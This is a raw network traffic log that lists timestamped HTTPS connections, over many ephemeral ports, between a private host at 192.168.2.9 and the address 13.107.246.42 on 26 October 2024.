Oct 26, 2024 13:46:25.425091982 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.425106049 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.425765038 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.425770044 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.543486118 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.543555975 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.543615103 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.543821096 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.543843031 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.543855906 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.543862104 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.546931982 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.546976089 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.547055960 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.547245979 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.547256947 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550369978 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550404072 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550438881 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550463915 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550484896 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.550494909 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550508022 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550537109 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.550560951 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.550607920 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.550617933 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550666094 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.550672054 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550714016 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.550729990 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.550748110 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.550753117 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.553292036 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.553328037 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.553390026 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.553416014 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.553433895 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.553495884 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.553580999 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.553596020 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.553641081 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.553653002 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.557758093 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.557818890 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.557856083 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.557972908 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.557981014 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.558006048 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.558011055 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.560367107 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.560375929 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.560452938 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.560625076 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.560633898 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.564388990 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.564470053 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.564564943 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.564945936 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.564960957 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.565043926 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.565051079 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.567249060 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.567338943 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.567436934 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.567570925 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.567608118 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.280786037 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.281333923 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.281344891 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.281812906 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.281816959 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.294744015 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.295202971 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.295212984 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.295650959 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.295656919 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.310324907 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.310707092 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.310719967 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.311053038 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.311058044 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.320275068 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.320542097 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.320553064 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.320882082 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.320888042 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.425959110 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.426076889 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.426146984 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.426337004 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.426353931 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.426367044 CEST	49898	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.426372051 CEST	443	49898	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.429498911 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.429537058 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.429646015 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.429830074 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.429851055 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.443905115 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.443934917 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.443981886 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.444006920 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.444087029 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.444318056 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.444331884 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.444344044 CEST	49897	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.444350004 CEST	443	49897	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.447338104 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.447384119 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.447551012 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.447674036 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.447701931 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.453984022 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.454060078 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.454123974 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.454134941 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.454216957 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.454391003 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.454430103 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.454444885 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.454458952 CEST	49899	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.454464912 CEST	443	49899	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.457324982 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.457369089 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.457474947 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.457643986 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.457664967 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.461683035 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.461709976 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.461779118 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.461853981 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.461973906 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.462250948 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.462265968 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.462291956 CEST	49895	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.462296963 CEST	443	49895	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.465101004 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.465143919 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.465430975 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.465430975 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.465471029 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.635412931 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.636229992 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.636267900 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.636591911 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.636596918 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.911489964 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.911571026 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.911628008 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.911851883 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.911875963 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.911887884 CEST	49896	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.911894083 CEST	443	49896	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.914890051 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.914993048 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:26.915088892 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.915237904 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:26.915273905 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.161556959 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.162240028 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.162286043 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.162831068 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.162841082 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.182482004 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.182961941 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.182991028 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.183429956 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.183440924 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.202131987 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.202591896 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.202605009 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.203087091 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.203090906 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.211687088 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.212063074 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.212083101 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.212510109 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.212517023 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.292638063 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.292715073 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.292812109 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.293080091 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.293100119 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.293123007 CEST	49900	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.293131113 CEST	443	49900	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.295722008 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.295753956 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.295820951 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.295963049 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.295977116 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.313641071 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.313714027 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.313777924 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.313802958 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.313867092 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.313921928 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.313965082 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.313982964 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.314012051 CEST	49902	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.314023018 CEST	443	49902	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.316551924 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.316648960 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.316737890 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.316890955 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.316926956 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.344849110 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.344875097 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.344928980 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.344966888 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.344986916 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.345220089 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.345236063 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.345289946 CEST	49903	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.345298052 CEST	443	49903	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.345705032 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.345760107 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.345808983 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.345824957 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.345932961 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.345988035 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.346003056 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.346003056 CEST	49901	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.346009016 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.346016884 CEST	443	49901	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.348637104 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.348653078 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.348714113 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.348948956 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.348956108 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.349473000 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.349493980 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.349638939 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.349699974 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.349713087 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.667524099 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.668219090 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.668260098 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.668576956 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.668592930 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.800837994 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.800928116 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.800992012 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.801203012 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.801222086 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.801235914 CEST	49904	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.801243067 CEST	443	49904	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.804591894 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.804646969 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:27.804721117 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.804862022 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:27.804874897 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.032253027 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.032828093 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.032862902 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.033420086 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.033427000 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.075968027 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.076442957 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.076495886 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.076870918 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.076885939 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.095537901 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.096056938 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.096072912 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.096451044 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.096458912 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.100994110 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.101344109 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.101365089 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.101730108 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.101735115 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.174083948 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.174127102 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.174177885 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.174196959 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.174228907 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.174365997 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.174379110 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.174390078 CEST	49905	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.174397945 CEST	443	49905	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.177306890 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.177334070 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.177407980 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.177551985 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.177556992 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.229594946 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.229873896 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.229917049 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.229923964 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.229969025 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.233083010 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.233105898 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.233128071 CEST	49907	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.233135939 CEST	443	49907	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.235728025 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.236165047 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.236234903 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.246941090 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.247131109 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.247186899 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.270207882 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.270207882 CEST	49908	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.270251036 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.270263910 CEST	443	49908	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.271593094 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.271625996 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.271641016 CEST	49906	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.271647930 CEST	443	49906	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.274039984 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.274101019 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.274158955 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.274666071 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.274687052 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.275365114 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.275402069 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.275459051 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.275566101 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.275578976 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.276071072 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.276098967 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.276161909 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.276375055 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.276390076 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.563966036 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.564382076 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.564429045 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.567897081 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.567922115 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.698286057 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.698317051 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.698359013 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.698367119 CEST	443	49909	13.107.246.42	192.168.2.9
